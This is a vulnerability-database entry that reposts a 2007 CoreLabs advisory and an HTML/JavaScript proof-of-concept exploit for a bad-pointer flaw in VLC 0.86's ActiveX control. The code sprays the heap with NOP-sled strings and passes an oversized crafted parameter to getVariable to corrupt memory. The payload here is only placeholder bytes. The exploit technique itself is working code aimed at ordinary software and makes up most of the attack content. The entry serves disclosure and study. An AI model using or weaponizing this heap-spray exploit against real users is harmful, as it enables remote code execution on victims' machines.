VLC 0.86 < 0.86d ActiveX Remote Bad Pointer Initialization PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType

VLC 0.86d ActiveX Remote Bad Pointer Initialization Vulnerabilit


                                                &#60;!--
       Core Security Technologiess - CoreLabs Advisory
            http://www.coresecurity.com/corelabs

    VLC Activex Bad Pointer Initialization Vulnerability

*Advisory Information*
Title: VLC Activex Bad Pointer Initialization Vulnerability
Advisory ID: CORE-2007-1004
Advisory URL: http://www.coresecurity.com/?action=item&id=2035
Date published: 2007-12-04
Date of last update: 2007-12-03
Vendors contacted: VLC
Release mode: Coordinated Release

*Vulnerability Description*
VLC player is a popular multimedia player for various audio and video
formats, and various streaming protocols.

A vulnerability has been found in the ActiveX control DLL (axvlc.dll)
used by VLC player. This library contains three methods whose parameters
are not correctly checked, and may produce a bad initialized pointer. By
providing these functions specially crafted parameters, an attacker can
overwrite memory zones and execute arbitrary code.

*Vulnerable packages*
VLC media player version 0.86, 0.86a, 0.86b y 0.86c.
--&#62;

&#60;html&#62;
&#60;head&#62;
&#60;object classid=&#39;clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8&#39;
id=&#39;target&#39; &#62;&#60;/object&#62;
&#60;/head&#62;
&#60;body&#62;
   &#60;script&#62;
      var mm  = null;

      if( target != null )
      {
         var param1 = unescape(&#34;%u0505%u0505&#34;);
         var salame = &#34;defaultV&#34;;
         var salame2 = 1;
         var salame3 = 0;

         ag   = unescape(&#34;%uCCCC%uCCCC&#34;);
         sh   =
unescape(&#34;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%&#34;);
         sz   = sh.length * 2;
         npsz = 0x400000 - (sz + 0x38);
         nps  = unescape(&#34;%u0505%u0505&#34;);

         while(nps.length * 2 &#60; npsz) nps += nps;
         ihbc = (0x0E000000 - 0x400000) / 0x400000;
         mm   = new Array();

         for(i = 0; i &#60;= ihbc; i++) mm[i] = nps + sh;

         for(var i=0;i&#60;2000;i++)
            param1 = param1 + unescape(&#34;%u0505%u0505&#34;);
					
         target.getVariable (param1);
      }
   &#60;/script&#62;
&#60;/body&#62;
&#60;/html&#62;

# milw0rm.com [2007-12-04]

01 Jul 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7